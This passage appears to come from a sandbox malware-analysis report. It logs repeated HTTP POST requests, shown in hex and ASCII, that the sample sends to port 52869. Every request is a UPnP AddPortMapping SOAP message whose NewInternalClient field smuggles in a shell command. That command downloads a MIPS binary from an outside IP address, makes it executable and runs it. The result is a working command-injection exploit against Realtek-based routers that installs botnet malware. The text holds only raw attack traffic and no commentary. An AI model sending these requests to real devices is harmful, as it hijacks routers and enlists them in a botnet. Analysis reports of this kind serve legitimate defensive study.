61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:21.658127069 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:46.745440960 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:35.895968914 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      37192.168.2.1548776185.11.215.20352869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:00.402487993 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:04.506746054 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:10.654442072 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:22.682121038 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 